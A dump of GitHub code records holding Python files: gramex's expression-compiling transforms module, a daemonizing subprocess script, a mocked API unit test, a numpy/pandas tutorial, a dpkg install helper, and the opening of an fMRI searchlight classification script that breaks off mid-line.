iter: `True` always returns an iterable. `False` returns a single value\n\n `conf` is a dict with a `function` key with Python expression. This expression is compiled\n and returned. If the expression uses modules (e.g. `json.dumps`), they are auto-imported.\n\n It optionally accepts an `args` list and a `kwargs` list if `function` is a function name.\n\n Examples:\n >>> {'function': '1'} # => 1\n >>> {'function': 'x + y'} # => x + y\n >>> {'function': 'json.dumps(x)'} # => json.dumps(s)\n >>> {'function': 'json.dumps', 'args': ['x'], 'kwargs': {'indent': 2}}\n >>> {'function': 'json.dumps(\"x\", indent=2)` # same as above\n\n `args` values and `kwargs` keys are treated as strings, not variables. But values starting with\n `=` (e.g. `=handler`) are treated as variables. (Use `==x` to represent the string `=x`.)\n\n Examples:\n >>> {'function': 'str', 'args': ['handler']} # => str('handler')\n >>> {'function': 'str', 'args': ['=handler']} # => str(handler)\n >>> {'function': 'str', 'args': ['==handler']} # => str('=handler')\n\n `vars` defines the compiled function's signature. `vars={'x': 1, 'y': 2}` creates a\n `def transform(x=1, y=2):`.\n\n `vars` defaults to `{'_val': None}`.\n\n Examples:\n >>> add = build_transform({'function': 'x + y'}, vars={'x': 1, 'y': 2}, iter=False)\n >>> add()\n ... 3\n >>> add(x=3)\n ... 5\n >>> add(x=3, y=4)\n ... 7\n >>> incr = build_transform({'function': '_val + 1'}, iter=False)\n >>> incr(3)\n ... 4\n\n `kwargs=True` allows the compiled function to accept any keyword arguments as `**kwargs`.\n Specify `kwargs='kw'` to use `kw` (or any string) as the keyword arguments variable instead.\n\n Examples:\n >>> params = build_transform({'function': 'kwargs'}, vars={}, kwargs=True, iter=False)\n >>> params(x=1)\n ... {'x': 1}\n >>> params(x=1, y=2)\n ... {'x': 1, 'y': 2}\n >>> params = build_transform({'function': 'kw'}, vars={}, kwargs='kw', iter=False)\n >>> params(x=1, y=2)\n ... {'x': 1, 'y': 2}\n\n `filename` defines the filename printed in error messages.\n\n Examples:\n >>> error = build_transform({'function': '1/0'}, filename='zero-error', iter=False)\n ... Traceback (most recent call last):\n ... File \"\", line 1, in \n ... File \"zero-error\", line 2, in transform\n ... ZeroDivisionError: division by zero\n\n `cache=False` re-imports the modules if changed. This is fairly efficient, and is the default.\n Use `cache=True` to cache modules until Python is restarted.\n\n `iter=True` always returns an iterable. If the `function` is a generator (i.e. has a `yield`),\n it is returned as-is. Else it is returned as an array, i.e. `[result]`.\n\n Examples:\n `build_transform()` returns results wrapped as an array.\n\n >>> val = build_transform({'function': '4'})\n >>> val()\n ... [4]\n >>> val = build_transform({'function': '[4, 5]'})\n >>> val()\n ... [[4, 5]]\n\n If the result is a generator, it is returned as-is.\n\n >>> def gen():\n ... for x in range(5):\n ... yield x\n >>> val = build_transform({'function': 'fn()'}, vars={'fn': None})\n >>> val(gen)\n ... \n >>> list(val(gen))\n ... [0, 1, 2, 3, 4]\n\n If `iter=False`, it returns the results as-is.\n\n >>> val = build_transform({'function': '4'}, iter=False)\n >>> val()\n ... 4\n >>> val = build_transform({'function': '[4, 5]'}, iter=False)\n >>> val()\n ... [4, 5]\n '''\n # Ensure that the transform is a dict with \"function:\" in it. (This is a common mistake)\n if not isinstance(conf, dict) or 'function' not in conf:\n raise ValueError(f'{filename}: needs \"function:\". Got {conf!r}')\n\n conf = {key: val for key, val in conf.items() if key in {'function', 'args', 'kwargs'}}\n\n # The returned function takes a single argument by default\n if vars is None:\n vars = {'_val': None}\n # Treat kwargs=True as kwargs=kwargs. It adds **kwargs to the function call\n if kwargs is True:\n kwargs = 'kwargs'\n\n # If the function is a list, treat it as a pipeline\n if isinstance(conf['function'], (list, tuple)):\n return build_pipeline(conf['function'], vars, kwargs, filename, cache, iter)\n\n # Get the name of the function in case it's specified as a function call\n # expr is the full function / expression, e.g. str(\"abc\")\n # tree is the ast result\n expr = str(conf['function'])\n tree = ast.parse(expr)\n if len(tree.body) != 1 or not isinstance(tree.body[0], ast.Expr):\n raise ValueError(f'{filename}: function: must be Python function or expr, not {expr}')\n\n # Check whether to use the expression as is, or construct the expression\n # If expr is like \"x\" or \"module.x\", construct it if it's callable\n # Else, use the expression as-is\n function_name = _full_name(tree.body[0].value)\n module_name = function_name.split('.')[0] if isinstance(function_name, str) else None\n function, doc = None, expr\n # If the module or function is one of the vars themselves, return it as-is\n # _val.type will be used as-is, then, rather than looking for an \"_val\" module\n if module_name in vars or (isinstance(kwargs, str) and module_name == kwargs):\n expr = function_name\n # If it's a function call, construct the function signature\n elif function_name is not None:\n function = locate(function_name, modules=['gramex.transforms'])\n doc = function.__doc__\n if function is None:\n app_log.error(f'function:{filename}: Cannot load function {function_name}')\n # This section converts the function into an expression.\n # We do this only if the original expression was a *callable* function.\n # But if we can't load the original function (e.g. SyntaxError),\n # treat that as a function as well, allowing users to correct it later.\n if callable(function) or function is None:\n if 'args' in conf:\n # If args is not a list, convert to a list with that value\n args = conf['args'] if isinstance(conf['args'], list) else [conf['args']]\n else:\n # If args is not specified, use vars' keys as args\n args = [f'={var}' for var in vars.keys()]\n # Add the function, arguments, and kwargs\n expr = function_name + '('\n for arg in args:\n expr += f'{_arg_repr(arg)}, '\n for key, val in conf.get('kwargs', {}).items():\n expr += f'{key}={_arg_repr(val)}, '\n expr += ')'\n # If expr starts with a function call (e.g. module.func(...)), use it's docs\n elif isinstance(tree.body[0].value, ast.Call):\n from astor import to_source\n\n doc = locate(to_source(tree.body[0].value.func).strip()).__doc__\n\n # Create the code\n modules = module_names(tree, vars)\n modulestr = ', '.join(sorted(modules))\n signature = ', '.join('{:s}={!r:}'.format(k, v) for k, v in vars.items())\n if kwargs:\n signature += (', ' if signature else '') + f'**{kwargs}'\n body = [\n f'def transform({signature}):\\n',\n f'\\timport {modulestr}\\n' if modulestr else '',\n f'\\treload_module({modulestr})\\n' if modulestr and not cache else '',\n f'\\tresult = {expr}\\n',\n # If the result is a generator object, return it. Else, create a list and\n # return that. This ensures that the returned value is always an iterable\n '\\treturn result if isinstance(result, GeneratorType) else [result,]'\n if iter\n else '\\treturn result',\n ]\n\n # Compile the function with context variables\n import gramex.transforms\n from gramex.cache import reload_module\n\n context = dict(\n reload_module=reload_module,\n GeneratorType=GeneratorType,\n Return=tornado.gen.Return,\n AttrDict=AttrDict,\n **{key: getattr(gramex.transforms, key) for key in gramex.transforms.__all__},\n )\n code = compile(''.join(body), filename=filename, mode='exec')\n # B102:exec_used is safe since the code is written by app developer\n exec(code, context) # nosec B102\n\n # Return the transformed function\n result = context['transform']\n result.__name__ = str(function_name or filename)\n result.__doc__ = str(doc)\n result.__func__ = function\n\n return result\n\n\ndef build_pipeline(\n conf: dict,\n vars: dict = None,\n kwargs: Union[bool, str] = False,\n filename: str = 'pipeline',\n cache: bool = False,\n iter: bool = True,\n):\n '''Converts an expression list into a callable function (called a pipeline).\n\n Examples:\n >>> fn = build_pipeline([\n ... {'name': 'x', 'function': '1 + 2'},\n ... {'name': 'y', 'function': '3 + 4'},\n ... {'function': 'x + y'},\n ... ], iter=False)\n >>> fn()\n ... 10\n\n This compiles the expression list into a callable function roughty as follows:\n\n ```python\n def pipeline(_val):\n x = 1 + 2\n y = 3 + 4\n return x + y\n ```\n\n Parameters:\n conf: expression list to compile\n vars: variables passed to the compiled function\n kwargs: `True` to accept **kwargs. Any string to define the kwargs variable name\n filename: filename to print in case of errors\n cache: `False` re-imports modules if changed. `True` caches module\n iter: `True` always returns an iterable. `False` returns a single value\n\n `conf` is a **list** of the same `conf` that\n [build_transform][gramex.transforms.build_transform] accepts.\n\n Other parameters are the same as [build_transform][gramex.transforms.build_transform].\n '''\n if not isinstance(conf, (list, tuple)):\n raise ValueError(f'pipeline:{filename}: must be a list, not {type(conf)}')\n if len(conf) == 0:\n raise ValueError(f'pipeline:{filename}: cannot be an empty list')\n if vars is None:\n vars = {}\n if not isinstance(vars, dict):\n raise ValueError(f'pipeline:{filename}: vars must be a dict, not {type(vars)}')\n # current_scope has the variables available in each stage.\n # Whenever a stage defines a `name:`, add it to the current_scope.\n current_scope = dict(vars)\n n, compiled_stages = len(conf), []\n for index, spec in enumerate(conf, start=1):\n if not isinstance(spec, dict):\n spec = {'function': str(spec)}\n # Store the original configuration for reporting error messages\n stage = {'spec': spec, 'index': index}\n if 'function' not in spec:\n raise ValueError(f'pipeline:{filename}: {index}/{n}: missing \"function\"')\n # Compile the function, allowing use of all variables in current_scope\n stage['function'] = build_transform(\n {'function': spec['function']},\n vars=current_scope,\n kwargs=kwargs,\n filename=f'pipeline:{filename} {index}/{n}',\n cache=cache,\n iter=False,\n )\n # If the stage defines a name, add it as a variable for current_scope\n if 'name' in spec:\n current_scope[spec['name']] = None\n compiled_stages.append(stage)\n\n def run_pipeline(**kwargs):\n '''\n This returned function actually runs the pipeline.\n It loops through each pipeline step, runs the function, and returns the last value.\n\n Any `kwargs` passed are used as globals. (They default to the `vars` in build_pipeline.)\n\n If a step specifies a `name`, the result is stored in `kwargs[name]`,\n making it available as a global to the next step.\n\n Logs the time taken for each step (and errors, if any) in storelocations.pipeline.\n '''\n start = datetime.datetime.utcnow().isoformat()\n app_log.debug(f'pipeline:{filename} running')\n error, stage = '', {'spec': {}, 'index': None}\n try:\n # Use kwargs as globals for the steps. Initialize with vars\n merge(kwargs, vars, 'setdefault')\n result = None\n for stage in compiled_stages:\n result = stage['function'](**kwargs)\n # Store the returned value in the kwargs as globals\n if 'name' in stage['spec']:\n kwargs[stage['spec']['name']] = result\n # If the pipeline SHOULD return an iterable, ensure last result is iterable\n if iter:\n return result if isinstance(result, GeneratorType) else [result]\n else:\n return result\n except Exception:\n # On any exception, capture the error and traceback to log it\n import sys\n import traceback\n\n error = f'pipeline:{filename} {stage[\"index\"]}/{n} failed: {stage[\"spec\"]}'\n error += '\\n' + ''.join(traceback.format_exception(*sys.exc_info()))\n # but raise the original Exception\n raise\n finally:\n # Log pipeline execution (and error, if any)\n from gramex.services import info\n\n if 'pipeline' in info.storelocations:\n from gramex.data import insert\n\n end = datetime.datetime.utcnow().isoformat()\n try:\n insert(\n **info.storelocations.pipeline,\n id=['name', 'start'],\n args={\n 'name': [filename],\n 'start': [start],\n 'end': [end],\n 'error': [error],\n },\n )\n except Exception:\n app_log.exception(f'pipeline:{filename} exception logging failed')\n\n return run_pipeline\n\n\ndef condition(*args):\n '''\n !!! Deprecated\n Use the `if` construct in config keys instead.\n\n Variables can also be computed based on conditions:\n\n variables:\n OS:\n default: 'No OS variable defined'\n PORT:\n function: condition\n args:\n - $OS.startswith('Windows')\n - 9991\n - $OS.startswith('Linux')\n - 9992\n - 8883\n '''\n import warnings\n\n warnings.warn(\n 'condition() deprecated. https://gramener.com/gramex/guide/config/#conditions',\n DeprecationWarning,\n )\n from string import Template\n\n var_defaults = {}\n for var in variables:\n var_defaults[var] = f\"variables.get('{var}', '')\"\n # could use iter, range(.., 2)\n if len(args) == 1 and isinstance(args[0], dict):\n pairs = args[0].items()\n else:\n pairs = zip(args[0::2], args[1::2])\n for cond, val in pairs:\n if isinstance(cond, str):\n # B307:eval is safe here since `cond` is written by app developer\n if eval(Template(cond).substitute(var_defaults)): # nosec B307\n return val\n elif cond:\n return val\n\n # If none of the conditions matched, we'll be here.\n # If there are an odd number of arguments and there's at least one condition,\n # treat the last as a default.\n if len(args) % 2 == 1 and len(args) > 2:\n return args[-1]\n\n\ndef flattener(fields: dict, default: Any = None, filename: str = 'flatten'):\n '''Generates a function that flattens deep dictionaries.\n\n Examples:\n >>> flat = flattener({\n ... 'id': 'id',\n ... 'name': 'user.screen_name'\n ... })\n >>> flat({'id': 1, 'user': {'screen_name': 'name'}})\n ... {'id': 1, 'name': 'name'}\n\n Parameters:\n fields: a mapping of keys to object paths\n default: the value to use if the object path is not found\n filename: filename to print in case of errors\n\n Object paths are dot-seperated, and constructed as follows:\n\n ```text\n '1' => obj[1]\n 'x' => obj['x']\n 'x.y' => obj['x']['y']\n '1.x' => obj[1]['x']\n ```\n '''\n body = [\n f'def {filename}(obj):\\n',\n '\\tr = AttrDict()\\n',\n ]\n\n def assign(field, target, catch_errors=False):\n if catch_errors:\n body.append(f'\\ttry: r[{field!r}] = {target}\\n')\n body.append(f'\\texcept (KeyError, TypeError, IndexError): r[{field!r}] = default\\n')\n else:\n body.append(f'\\tr[{field!r}] = {target}\\n')\n\n for field, source in fields.items():\n if not isinstance(field, str):\n app_log.error(f'flattener:{filename}: key {field} is not a str')\n continue\n if isinstance(source, str):\n target = 'obj'\n if source:\n for item in source.split('.'):\n target += ('[%s]' if item.isdigit() else '[%r]') % item\n assign(field, target, catch_errors=True)\n elif source is True:\n assign(field, 'obj')\n elif isinstance(source, int) and not isinstance(source, bool):\n assign(field, f'obj[{source}]', catch_errors=True)\n else:\n app_log.error(f'flattener:{filename}: value {source} is not a str/int')\n continue\n body.append('\\treturn r')\n code = compile(''.join(body), filename=f'flattener:{filename}', mode='exec')\n context = {'AttrDict': AttrDict, 'default': default}\n # B307:eval is safe here since the code is constructed entirely in this function\n eval(code, context) # nosec B307\n return context[filename]\n\n\n_once_info = {}\n\n\ndef once(*args, **kwargs):\n '''Returns `False` if once() has been called before with these arguments. Else `True`.\n\n Data is stored in a persistent SQLite dict.\n '''\n if 'db' not in _once_info:\n import os\n from sqlitedict import SqliteDict\n\n dbpath = os.path.join(variables['GRAMEXDATA'], 'once.db')\n _once_info['db'] = SqliteDict(dbpath, tablename='once', autocommit=True)\n db = _once_info['db']\n key = json.dumps(args, separators=(',', ':'), cls=CustomJSONEncoder)\n if kwargs.get('_clear', False):\n if key in db:\n del db[key]\n return None\n if key in db:\n return False\n db[key] = True\n return True\n\n\n# int(x), float(x), str(x) do a good job of converting strings to respective types.\n# But not all types work smoothly. Handle them here.\n_convert_map = {\n # bool(\"true\") fails Use yaml.safe_load in such cases\n bool: lambda x: yaml.safe_load(x) if isinstance(x, (str, bytes)) else x,\n # NoneType(\"None\") doesn't work either. Just return None\n type(None): lambda x: None,\n # TODO: Convert dates but without importing pandas on startup\n # datetime.datetime: lambda x: pd.to_datetime(x).to_pydatetime,\n}\n\n\ndef typelist(hint):\n typ, is_list = hint, False\n # If typ is an Annotation, use the native type. Else use the type.\n while hasattr(typ, '__args__'):\n is_list = getattr(typ, '_name', None) in ('List', 'Tuple')\n typ = typ.__args__[0]\n return typ, is_list\n\n\ndef convert(hint, param, *args):\n from pandas.core.common import flatten\n\n args = list(flatten(args))\n typ, is_list = typelist(hint)\n # Convert args to the native type\n method = _convert_map.get(typ, typ)\n # If default is list-like or hint is List-like, return list. Else return last value\n if is_list or isinstance(param.default, (list, tuple)):\n return [method(arg) for arg in args]\n else:\n return method(args[-1] if args else param.default)\n\n\nclass Header(str):\n pass\n\n\ndef handler(func):\n \"\"\"Wrap a function to make it compatible with a FunctionHandler.\n\n Use this decorator to expose a function as a REST API, with path or URL parameters mapped to\n function arguments with type conversion.\n\n Suppose you have the following function in `greet.py`:\n\n ```python\n @handler\n def birthday(name: str, age: int):\n return f'{name} turns {age:d} today! Happy Birthday!'\n ```\n\n Then, in `gramex.yaml`, you can use it as a FunctionHandler as follows::\n\n ```yaml\n url:\n pattern: /$YAMLURL/greet\n handler: FunctionHandler\n kwargs:\n function: greet.birthday\n ```\n\n Now, `/greet?name=Gramex&age=0010` returns \"Gramex turns 10 today! Happy Birthday!\".\n It converts the URL parameters into the types found in the annotations, e.g. `0010` into 10.\n\n An alternate way of configuring this is as follows::\n\n url:\n pattern: /$YAMLURL/greet/name/(.*)/age/(.*)\n handler: FunctionHandler\n kwargs:\n # You can pass name=... and age=... as default values\n # but ensure that handler is the first argument in the config.\n function: greet.birthday(handler, name='Name', age=10)\n\n Now, `/greet/name/Gramex/age/0010` returns \"Gramex turns 10 today! Happy Birthday!\".\n\n The function args and kwargs are taken from these sources this in order.\n\n 1. From the YAML function\n - e.g. `function: greet.birthday('Name', age=10)` sets `name='Name'` and `age=10`\n 2. Over-ridden by YAML URL pattern\n - e.g. `pattern: /$YAMLPATH/(.*)/(?P.*)`\n - URL `/greet/Name/10` sets `name='Name'` and `age=10`\n 3. Over-ridden by URL query parameters\n - e.g. URL `/greet?name=Name&age=10` sets `name='Name'` and `age=10`\n 4. Over-ridden by URL POST body parameters\n - e.g. `curl -X POST /greet -d \"?name=Name&age=10\"` sets `name='Name'` and `age=10`\n\n `handler` is also available as a kwarg. You can use this as the last positional argument or\n a keyword argument. Both `def birthday(name, age, handler)` and\n `def birthday(name, age, handler=None)` are valid.\n \"\"\"\n from inspect import signature\n from typing import get_type_hints\n from pandas.core.common import flatten\n\n params = signature(func).parameters\n hints = get_type_hints(func)\n\n @wraps(func)\n def wrapper(handler, *cfg_args, **cfg_kwargs):\n # If someone passes None or a non-handler object, assume empty attributes\n path_args = getattr(handler, 'path_args', [])\n path_kwargs = getattr(handler, 'path_kwargs', {})\n args = getattr(handler, 'args', {})\n request = getattr(handler, 'request', AttrDict(headers={}, body='{}'))\n # We'll create a (*args, **kwargs)\n # College args from the config `args:` and then the handler pattern /(.*)/(.*)\n req_args = list(cfg_args) + path_args\n # Collect kwargs from the config `kwargs:` and then the handler pattern /(?P.*)\n # and the the URL query params\n req_kwargs = {'handler': handler}\n for d in (cfg_kwargs, path_kwargs, args):\n req_kwargs.update(d)\n headers = request.headers\n # If POSTed with Content-Type: application/json, parse body as well\n if headers.get('Content-Type', '') == 'application/json':\n req_kwargs.update(json.loads(request.body))\n\n # Map these into the signature\n args, kwargs = [], {}\n for arg, param in params.items():\n hint = hints.get(arg, identity)\n # If hint says it's a header, pass the header without converting\n if hint is Header:\n kwargs[arg] = request.headers.get(arg)\n continue\n # Populate positional arguments first, if any\n if len(req_args):\n # If function takes a positional arg, assign first req_arg\n if param.kind in {param.POSITIONAL_ONLY, param.POSITIONAL_OR_KEYWORD}:\n args.append(convert(hint, param, req_args.pop(0)))\n # If it's a *arg, assign all remaining req_arg\n elif param.kind == param.VAR_POSITIONAL:\n for val in req_args:\n args.append(convert(hint, param, val))\n req_args.clear()\n # Also populate keyword arguments from req_kwargs if there's a match\n if arg in req_kwargs:\n # Pop any keyword argument that matches the function argument\n if param.kind in {param.KEYWORD_ONLY, param.POSITIONAL_OR_KEYWORD}:\n kwargs[arg] = convert(hint, param, req_kwargs.pop(arg))\n # If its a *arg, assign all remaining values\n elif param.kind == param.VAR_POSITIONAL:\n for val in flatten([req_kwargs.pop(arg)]):\n args.append(convert(hint, param, val))\n\n return func(*args, **kwargs)\n\n wrapper.__func__ = func\n return wrapper\n\n\n# Define direct keys. These can be used as-is\n_transform_direct_vars = {\n 'name': 'handler.name',\n 'class': 'handler.__class__.__name__',\n 'time': 'round(time.time() * 1000, 0)',\n 'datetime': 'datetime.datetime.utcnow().strftime(\"%Y-%m-%d %H:%M:%SZ\")',\n 'method': 'handler.request.method',\n 'uri': 'handler.request.uri',\n 'ip': 'handler.request.remote_ip',\n 'status': 'handler.get_status()',\n 'duration': 'round(handler.request.request_time() * 1000, 0)',\n 'port': 'conf.app.listen.port',\n # TODO: 'size': 'handler.get_content_size()' is not available in RequestHandler\n 'user': '(handler.current_user or {}).get(\"id\", \"\")',\n 'session': 'handler.session.get(\"id\", \"\")',\n 'error': 'getattr(handler, \"_exception\", \"\")',\n 'browser': 'handler.request.headers.get(\"User-Agent\", \"\")',\n}\n\n# Define object keys for us as key.value. E.g. cookies.sid, user.email, etc\n_transform_obj_vars = {\n 'args': 'handler.get_argument(\"{val}\", \"\")',\n 'request': 'getattr(handler.request, \"{val}\", \"\")',\n 'headers': 'handler.request.headers.get(\"{val}\", \"\")',\n 'cookies': (\n 'handler.request.cookies[\"{val}\"].value ' + 'if \"{val}\" in handler.request.cookies else \"\"'\n ),\n 'user': '(handler.current_user or {{}}).get(\"{val}\", \"\")',\n 'env': 'os.environ.get(\"{val}\", \"\")',\n}\n\n\ndef handler_expr(expr):\n if expr in _transform_direct_vars:\n return _transform_direct_vars[expr]\n if '.' in expr:\n prefix, value = expr.split('.', 2)\n if prefix in _transform_obj_vars:\n return _transform_obj_vars[prefix].format(val=value)\n raise ValueError(f'Unknown expression {expr}')\n\n\ndef build_log_info(keys: List, *vars: List):\n '''Utility to create logging values.\n\n Returns a function that accepts a handler and returns a dict of values to log.\n\n Examples:\n >>> log_info = build_log_info(['time', 'ip', 'cookies.sid', 'user.email'])\n >>> log_info(handler)\n ... {\"time\": 1655280440, \"ip\": \"::1\", \"cookies.sid\": \"...\", \"user.email\": \"...\"}\n\n Parameters:\n keys: list of keys to include in the log.\n *vars: additional variables to include in the log.\n\n `keys` can include: `name`, `class`, `time`, `datetime`, `method`, `uri`, `ip`, `status`,\n `duration`, port, `user`, `session`, `error`.\n\n It can also include:\n\n - `args.*`: value of the URL query parameter ?arg=\n - `request.*`: value of `handler.request.*`\n - `headers.*`: value of the HTTP header\n - `cookies.*`: value of the HTTP cookie\n - `user.*`: key in the user object\n - `env.*`: value of the environment variable\n\n `vars` can be any list of any variables. When you pass these to the function, they're added to\n the returned value as-is. (This is used internally in [gramex.handlers.AuthHandler.setup])\n\n Examples:\n >>> log_info = build_log_info(['time'], 'event')\n >>> log_info(handler, event='x')\n ... {\"time\": 1655280440, \"event\": \"x\"}\n '''\n from gramex import conf\n\n vals = []\n for key in keys:\n if key in vars:\n vals.append(f'\"{key}\": {key},')\n continue\n try:\n vals.append(f'\"{key}\": {handler_expr(key)},')\n except ValueError:\n app_log.error(f'Skipping unknown key {key}')\n code = compile(\n 'def fn(handler, %s):\\n\\treturn {%s}' % (', '.join(vars), ' '.join(vals)),\n filename='log',\n mode='exec',\n )\n context = {'os': os, 'time': time, 'datetime': datetime, 'conf': conf, 'AttrDict': AttrDict}\n # B102:exec_used is safe here since the code is constructed entirely in this function\n exec(code, context) # nosec B102\n return context['fn']\n\n\ndef time_key(format, offset=None, freq=None):\n import pandas as pd\n\n result = {'function': lambda *args, **kwargs: pd.Timestamp.utcnow().strftime(format)}\n\n if freq is not None:\n\n def expiry(*args, **kwargs):\n now = pd.Timestamp.utcnow()\n return int((now.ceil(freq=freq) - now).total_seconds())\n\n elif offset is not None:\n offset_method = getattr(pd.offsets, offset)\n\n def expiry(*args, **kwargs):\n now = pd.Timestamp.utcnow()\n return int((now + offset_method(normalize=True) - now).total_seconds())\n\n if offset is not None or freq is not None:\n result['expiry'] = expiry\n\n return result\n","repo_name":"gramener/gramex","sub_path":"gramex/transforms/transforms.py","file_name":"transforms.py","file_ext":"py","file_size_in_byte":32960,"program_lang":"python","lang":"en","doc_type":"code","stars":143,"dataset":"github-code","pt":"22"} +{"seq_id":"5586358463","text":"import os\nimport subprocess\nimport sys\n\n\ndef run(args):\n process = subprocess.Popen(\n args=args,\n stdin=subprocess.DEVNULL,\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n close_fds=True,\n )\n print(\"Running\", args)\n print(\"- my PID: \", os.getpid())\n print(\"- subprocess PID: \", process.pid)\n process.wait()\n\n\ndef spawn_daemon(function, *args, **kwargs):\n # First fork\n pid = os.fork()\n if pid != 0: # parent returns\n os.waitid(os.P_PID, pid, os.WEXITED)\n return\n\n # Decouple from parent environment\n # os.chdir(\"/\")\n os.setsid()\n os.umask(0)\n\n # Do second fork\n pid = os.fork()\n if pid != 0: # parent exits\n os._exit(0)\n\n function(*args, **kwargs)\n\n\ndef main(argv=sys.argv[1:]):\n if hasattr(os, 'fork'):\n spawn_daemon(run, argv)\n else:\n run(argv)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"naturalvision/tut-pyparallel","sub_path":"s09_daemonize.py","file_name":"s09_daemonize.py","file_ext":"py","file_size_in_byte":939,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"22"} +{"seq_id":"10177879020","text":"import unittest\nfrom unittest.mock import Mock, patch\n\nfrom api_services import get_departures\n\n\nclass ServicesTest(unittest.TestCase):\n\n def test_get_departures(self):\n with patch('api_services.requests.get') as mock_get:\n # Configure the mock to return a response with an OK status code.\n mock_get.return_value.status_code = 200\n\n # Call the service, which will send a request to the server.\n response = get_departures('')\n\n self.assertEqual(response.status_code,200)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"mohdalsaid/trips_api","sub_path":"tests/unit/services_tests.py","file_name":"services_tests.py","file_ext":"py","file_size_in_byte":584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"3045201539","text":"from os.path import basename\nfrom feedback import Feedback\nfrom apt.cache import Cache\nfrom apt.debfile import DebPackage\n\nclass DevToolsDpkg(DebPackage):\n \"\"\"\n Class for managing packages via 'dpkg'\n \"\"\"\n def __init__(self):\n \n # Get the apt cache\n self.cache = Cache()\n \n # Feedback module\n self.feedback = Feedback()\n \n def installdeb(self, pkg):\n \"\"\"\n Install the Debian package.\n \n :param pkg: The path to the package to install\n :type pkg: str\n \"\"\"\n \n # Get the DebPackage object and the filename\n dpkg = DebPackage(filename=pkg, cache=self.cache)\n pkg_name = basename(pkg)\n \n # Look for package conflicts\n if not dpkg.check_conflicts():\n self.feedback.block(dpkg.conflicts, 'CONFLICT')\n self.feedback.error('Cannot install package <{0}>, conflicts with:'.format(pkg_name))\n return False\n \n # Get any version in cache\n cache_version = dpkg.compare_to_version_in_cache()\n action = 'Installed'\n \n # Not installed\n if cache_version == dpkg.VERSION_NONE:\n self.feedback.info('Package <{0}> not installed'.format(pkg_name))\n \n # Upgrading\n if cache_version == dpkg.VERSION_OUTDATED:\n self.feedback.info('Package <{0}> outdated, upgrading'.format(pkg_name))\n action = 'Updated'\n \n # Same version\n if cache_version == dpkg.VERSION_SAME:\n return self.feedback.info('Package <{0}> already installed'.format(pkg_name))\n \n # Installed is newer\n if cache_version == dpkg.VERSION_NEWER:\n return self.feedback.info('Package <{0}> has newer version installed'.format(pkg_name))\n \n # Install the package\n dpkg.install()\n self.feedback.success('{0}: {1}'.format(action, pkg_name))","repo_name":"pombredanne/lense-devtools","sub_path":"usr/lib/python2.7/dist-packages/lense_devtools/dpkg.py","file_name":"dpkg.py","file_ext":"py","file_size_in_byte":1980,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"25026563264","text":"import matplotlib\nimport numpy as np\nimport pandas as pd\nimport mglearn\nfrom scipy import sparse\nimport matplotlib.pyplot as plt\nfrom IPython.display import display\nx = np.array([[1, 2, 3], [4, 5, 6]])\nprint(\"x:\\n{}\".format(x))\n# Create a 2D NumPy array with a diagonal of ones, and zeros everywhere else\neye = np.eye(4)\nprint(\"NumPy array:\\n\", eye)\n# Convert the NumPy array to a SciPy sparse matrix in CSR format\n# Only the nonzero entries are stored\nsparse_matrix = sparse.csr_matrix(eye)\nprint(\"\\nSciPy sparse CSR matrix:\\n\", sparse_matrix)\n\ndata = np.ones(4)\nrow_indices = np.arange(4)\ncol_indices = np.arange(4)\neye_coo = sparse.coo_matrix((data, (row_indices, col_indices)))\nprint(\"COO representation:\\n\", eye_coo)\n# Generate a sequence of numbers from -10 to 10 with 100 steps in between\nx = np.linspace(-10, 10, 100)\n# Create a second array using sine\ny = np.sin(x)\n# The plot function makes a line chart of one array against another\nplt.plot(x, y, marker=\"x\")\nplt.show()\n# create a simple dataset of people\ndata = {'Name': [\"John\", \"Anna\", \"Peter\", \"Linda\"],\n 'Location' : [\"New York\", \"Paris\", \"Berlin\", \"London\"],\n 'Age' : [24, 13, 53, 33]\n }\n\ndata_pandas = pd.DataFrame(data)\n# IPython.display allows \"pretty printing\" of dataframes\n# in the Jupyter notebook\ndisplay(data_pandas)\n# 选择年龄大于30的所有行\ndisplay(data_pandas[data_pandas.Age > 30])\n","repo_name":"uyaddayu/pystudy","sub_path":"p01/test1.py","file_name":"test1.py","file_ext":"py","file_size_in_byte":1391,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"13001639189","text":"'''\nSearchlight classification\n'''\nimport pathlib\nimport pickle\n\nimport numpy as np\nimport pandas as pd\n\nfrom nilearn.image import index_img, concat_imgs\nfrom nilearn.image import new_img_like, load_img\nfrom sklearn.model_selection import train_test_split\n\nfrom nilearn.decoding import SearchLight\nfrom sklearn.naive_bayes import GaussianNB\n\ndef remake_labels(conditions_label): \n '''\n Remake labels for classification\n '''\n # get ntrials\n n_trials=len(conditions_label)\n\n #Find all negative and positive trials (NB differs from notebook as our trials are coded slightly differently)\n idx_neg=[int(i) for i in range(n_trials) if 'negative_img' in conditions_label[i]]\n idx_pos=[int(i) for i in range(n_trials) if 'positive_img' in conditions_label[i]]\n idx_but=[int(i) for i in range(n_trials) if 'button_img' in conditions_label[i]]\n idx_but_press=[int(i) for i in range(n_trials) if 'button_press' in conditions_label[i]]\n\n # recode labels to N, P, B (NB button press is not coded here!!)\n for i in range(n_trials):\n if i in idx_neg:\n conditions_label[i] = \"N\"\n if i in idx_pos:\n conditions_label[i] = \"P\"\n if i in idx_but:\n conditions_label[i] = \"B\"\n if i in idx_but_press:\n conditions_label[i] = \"BP\"\n\n return idx_neg, idx_pos, idx_but, idx_but_press, conditions_label\n\n\ndef reshape_classify(idx_cond1, idx_cond2, conditions_label, b_maps, data_path, filename):\n '''\n Reshape for classification. Select two conditions of interest by inserting their indicies.\n\n Args\n idx_cond1: indicies of condition 1\n idx_cond2: indicies of condition 2 \n conditions_label: labels of conditions \n b_maps: beta maps \n data_path: where the returned arguments should be saved\n filename: name of the file of the returned arguments to be saved \n '''\n # concatenate bmaps\n b_maps_conc=concat_imgs(b_maps)\n\n # select conditions (indexes of relevant cnonds)\n idx = np.concatenate((idx_cond1, idx_cond2))\n\n # select trials\n conditions = np.array(conditions_label)[idx]\n \n # select bmaps\n b_maps_img = index_img(b_maps_conc, idx)\n\n # Make an index for spliting fMRI data with same size as class labels\n idx2 = 